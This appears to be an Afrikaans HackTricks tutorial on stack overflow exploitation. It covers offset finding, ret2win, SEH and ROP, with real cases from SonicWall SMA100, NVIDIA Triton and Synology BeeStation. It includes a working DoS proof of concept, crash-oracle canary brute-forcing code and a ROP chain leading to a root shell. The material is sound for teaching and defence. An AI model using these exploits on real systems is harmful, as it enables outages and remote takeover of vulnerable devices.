Stack Overflow
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is ’n Stack Overflow
A stack overflow is ’n kwesbaarheid wat voorkom wanneer ’n program meer data op die stack skryf as waarvoor dit toegewys is om te hou. Hierdie oortollige data sal oorskryf aangrensende geheue-ruimte, wat lei tot die korrupsie van geldige data, ontwrigting van control flow, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grenskontrole op insette uitvoer nie.
Die hoofprobleem van hierdie oorskrywing is dat die saved instruction pointer (EIP/RIP) en die saved base pointer (EBP/RBP) om na die vorige funksie terug te keer gestoor op die stack is. Gevolglik sal ’n attacker in staat wees om hierdie te oorskryf en control the execution flow of the program.
Die kwesbaarheid ontstaan gewoonlik omdat ’n funksie kopieer binne die stack meer bytes as die hoeveelheid daarvoor toegewys is, en sodoende ander dele van die stack kan oorskryf.
Sommige algemene funksies wat hiervoor kwesbaar is, is: strcpy, strcat, sprintf, gets… Ook funksies soos fgets, read & memcpy wat ’n length argument neem, kan op ’n kwesbare manier gebruik word as die gespesifiseerde lengte groter is as die toegewese hoeveelheid.
Byvoorbeeld, die volgende funksies kan kwesbaar wees:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Vind offsets vir Stack Overflows
Die mees algemene manier om stack overflows te vind, is om ’n baie groot invoer van As te gee (bv. python3 -c 'print("A"*1000)') en ’n Segmentation Fault te verwag wat aandui dat die adres 0x41414141 probeer is om te benader.
Boonop, sodra jy gevind het dat daar ’n Stack Overflow kwetsbaarheid is, sal jy die offset moet bepaal totdat dit moontlik is om die return address te overskryf; hiervoor word gewoonlik ’n De Bruijn sequence gebruik. Vir ’n gegewe alfabet van grootte k en subreekse van lengte n is dit ’n sikliese reeks waarin elke moontlike subreeks van lengte n presies een keer as ’n aaneenlopende subreeks verskyn.
Op hierdie manier, in plaas daarvan om met die hand te bepaal watter offset nodig is om die EIP te beheer, kan jy een van hierdie sequences as padding gebruik en dan die offset vind van die bytes wat dit uiteindelik oorskryf het.
Dit is moontlik om pwntools hiervoor te gebruik:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
of GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Uitbuiting van Stack Overflows
Tydens ’n overflow (aangenome die overflow-grootte is groot genoeg) sal jy in staat wees om waardes van plaaslike veranderlikes op die stack te overwrite totdat jy die gesaveerde EBP/RBP and EIP/RIP (or even more) bereik.
Die mees algemene manier om hierdie tipe kwetsbaarheid te misbruik is deur modifying the return address sodat wanneer die funksie eindig die control flow will be redirected wherever the user specified in hierdie pointer.
In ander scenario’s mag dit egter genoeg wees om net overwriting some variables values in the stack te doen vir die eksploitasie (soos in maklike CTF-challenges).
Ret2win
In hierdie tipe CTF-challenges is daar ’n function inside die binary wat never called word en wat you need to call in order to win. Vir hierdie challenges hoef jy net die offset to overwrite the return address te vind en die find the address of the function om te call (gewoonlik ASLR sal gedeaktiveer wees) sodat wanneer die kwesbare funksie terugkeer, die versteekte funksie aangeroep sal word:
Stack Shellcode
In hierdie scenario kan die aanvaller ’n shellcode op die stack plaas en die beheerde EIP/RIP misbruik om na die shellcode te jump en arbitrêre kode uit te voer:
Windows SEH-based exploitation (nSEH/SEH)
Op 32-bit Windows kan ’n overflow die Structured Exception Handler (SEH)-ketting oor skryf in plaas van die gesaveerde return address. Eksploitasie vervang tipies die SEH pointer met ’n POP POP RET gadget en gebruik die 4-byte nSEH veld vir ’n kort jump om terug na die groot buffer te pivot waar shellcode woon. ’n Algemene patroon is ’n kort jmp in nSEH wat op ’n 5-byte near jmp land wat net voor nSEH geplaas is om honderde bytes terug na die payload-begin te jump.
ROP & Ret2… techniques
Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming van die vorige tegniek te omseil: No executable stack (NX). En dit laat toe om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall…) wat uiteindelik arbitrêre opdragte sal uitvoer deur bestaande instruksies in die binary te misbruik:
Heap Overflows
’n Overflow gaan nie altyd in die stack plaasvind nie; dit kan byvoorbeeld ook in die heap wees:
Tipes beskerming
Daar is verskeie beskermings wat probeer verhoed dat kwesbaarhede uitgebuit word — kyk hulle in:
Common Binary Exploitation Protections & Bypasses
Werklike Voorbeeld: CVE-2025-40596 (SonicWall SMA100)
’n Goeie demonstrasie van waarom sscanf should never be trusted for parsing untrusted input het in 2025 in SonicWall’s SMA100 SSL-VPN appliance verskyn. Die kwesbare roetine binne /usr/src/EasyAccess/bin/httpd probeer die weergawe en endpoint onttrek van enige URI wat begin met /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Die eerste omskakeling (
%2s) stoor veilig twee bytes inversion(bv."v1"). - Die tweede omskakeling (
%s) het geen lengte-spesifiseerder nie, daarom salsscanfaanhou kopieer tot die eerste NUL byte. - Omdat
endpointop die stack geleë is en 0x800 bytes lank is, korrupteer ’n pad wat langer as 0x800 bytes is alles wat ná die buffer lê ‑ insluitend die stack canary en die saved return address.
’ n Enkelreël proof-of-concept is genoeg om die crash voor outentisering te veroorsaak:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Alhoewel stack canaries die proses laat aborteer, verkry ’n aanvaller steeds ’n Denial-of-Service primitive (en, met bykomende inligting leaks, moontlik code-execution).
Werklike Voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA se Triton Inference Server (≤ v25.06) het verskeie stack-based overflows bevat wat deur sy HTTP API bereikbaar was.
Die kwesbare patroon het herhaaldelik in http_server.cc en sagemaker_server.cc voorgekom:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) gee die aantal interne buffer-segmente terug wat die huidige HTTP-versoekliggaam saamstel.- Elke segment veroorsaak dat ’n 16-byte
evbuffer_iovecop die stack viaalloca()toegeken word – sonder enige boonste grens. - Deur HTTP chunked transfer-encoding te misbruik, kan ’n kliënt die versoek dwing om in honderde-duisende 6-byte stukke (
"1\r\nA\r\n") verdeel te word. Dit laatnonbeperk groei totdat die stack uitgeput is.
Bewys van Konsep (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
A ~3 MB versoek is genoeg om die saved return address oor te skryf en die daemon op 'n standaard build te **crash**.
### Werklike voorbeeld: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Synacktiv se Pwn2Own 2025-ketting het 'n pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` op poort 5000 misbruik. `AuthManagerImpl::ParseAuthInfo` Base64-decodes die invoer van die aanvaller in 'n 4096-byte stack buffer maar stel verkeerdelik `decoded_len = auth_info->len`. Omdat die CGI worker per versoek forks, erf elke child die parent se stack canary, sodat een stabiele overflow primitive genoeg is om beide die stack te korrupteer en alle vereiste secrets te leak.
#### Base64-dekodeerde JSON as 'n gestruktureerde overflow
Die gedekodeerde blob moet geldige JSON wees en die sleutels `"state"` en `"code"` bevat; anders gooi die parser 'n fout voordat die overflow bruikbaar is. Synacktiv het dit opgelos deur 'n payload te Base64-encode wat dekodeer na JSON, daarna 'n NUL-byte, en dan die overflow-stream. `strlen(decoded)` stop by die NUL sodat parsing slaag, maar `SLIBCBase64Decode` het reeds die stack verby die JSON-object oor geskryf, en het die canary, saved RBP, en return address bedek.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing van canaries & pointers
synoscgi fork ’n keer per HTTP-versoek, sodat alle subprosesse dieselfde canary, stapelluitleg en PIE slide deel. Die exploit behandel die HTTP-statuskode as ’n orakel: ’n 200 respons beteken die geraade byte het die stapel behou, terwyl 502 (of ’n verbroke konneksie) beteken die proses het ingestort. Brute-forcing elke byte seriëel herwin die 8-byte canary, ’n gestoor stack pointer, en ’n return address binne libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr roep eenvoudig bf_next_byte agt keer aan terwyl dit die bevestigde prefix aanheg. Synacktiv het hierdie oracles met ongeveer 16 worker threads geparalleliseer, wat die totale leak tyd (canary + stack ptr + lib base) verminder het tot minder as drie minute.
From leaks to ROP & execution
Sodra die library base bekend is, bou common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) n arb_write primitive wat /bin/bash, -c, en die aanvaller se opdrag op die leaked stack address plaas. Uiteindelik stel die ketting die calling convention op vir SLIBCExecl (a BeeStation wrapper around execl(2)), wat n root shell lewer sonder om n aparte info-leak bug te benodig.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

